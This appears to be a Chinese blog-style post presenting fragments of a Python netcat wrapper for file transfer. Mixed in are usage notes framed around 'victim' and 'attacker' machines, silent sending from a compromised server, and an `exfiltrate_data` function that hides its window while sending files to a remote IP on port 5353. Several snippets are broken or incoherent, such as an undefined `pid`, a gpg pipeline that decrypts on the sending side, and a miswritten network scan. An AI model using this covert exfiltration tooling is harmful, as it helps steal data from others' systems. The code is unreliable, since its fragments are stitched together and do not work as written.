Python封装Netcat打造跨平台文件传输利器

def detect_nc(self):
    if sys.platform == "win32":
        # 检查常见NC安装路径
        paths = [
            r"C:\Program Files (x86)\Nmap\ncat.exe",
            r"C:\Program Files\Nmap\ncat.exe"
        ]
        for path in paths:
            if os.path.exists(path):
                return path
        return "nc"  # 尝试PATH查找
    else:
        return "nc"  # Linux/macOS默认在PATH中

def stop_transfer(self):
    if HAS_PSUTIL:  # 使用psutil终止整个进程树
        parent = psutil.Process(self.current_process.pid)
        for child in parent.children(recursive=True):
            child.kill()
        parent.kill()
    elif sys.platform == "win32":
        subprocess.call(['taskkill', '/F', '/T', '/PID', str(pid)])
    else:  # Unix系统
        os.killpg(os.getpgid(pid), signal.SIGTERM)

if mode == "receive":
    if self.os_type == "win32":
        cmd = f'"{nc_path}" -l -p {port} > "{file_path}"'
    else:
        cmd = f'{nc_path} -l {port} > "{file_path}"'
else:  # 发送模式
    if self.os_type == "win32":
        cmd = f'"{nc_path}" {ip} {port} < "{file_path}"'
    else:
        cmd = f'{nc_path} {ip} {port} < "{file_path}"'

# 受害者机器（反向传输）
$ python3 nc_gui.py  # 选择接收模式，端口4444

# 攻击者机器
$ python3 nc_gui.py  # 发送敏感文件到受害者机器

# 受损服务器
$ python3 nc_gui.py --minimized  # 静默发送日志文件

# 分析人员
$ nc -l -p 4444 > incident_logs.tar

# 自动化脚本示例
import subprocess

def exfiltrate_data(ip, file_path):
    cmd = [
        "python", "nc_gui.py", 
        "--mode", "send",
        "--ip", ip,
        "--port", "5353",
        "--file", file_path,
        "--silent"
    ]
    subprocess.Popen(cmd, creationflags=subprocess.CREATE_NO_WINDOW)

# 在实际使用中可添加加密层
if use_encryption:
    cmd = f"gpg -c | {nc_cmd} | gpg -d" 

# 添加AES加密选项
def encrypt_file(file, key):
    # 使用PyCryptodome实现
    cipher = AES.new(key, AES.MODE_EAX)

# 使用tqdm库
with tqdm(total=os.path.getsize(file)) as pbar:
    while transfering:
        pbar.update(chunk_size)

# 集成ARP扫描
def scan_local_network():
    return [ip for ip in nmap.PortScanner().scan('192.168.1.0/24')]

# 添加压缩支持
pip install pyzipper
# 启用多线程传输
python nc_gui.py --threads 4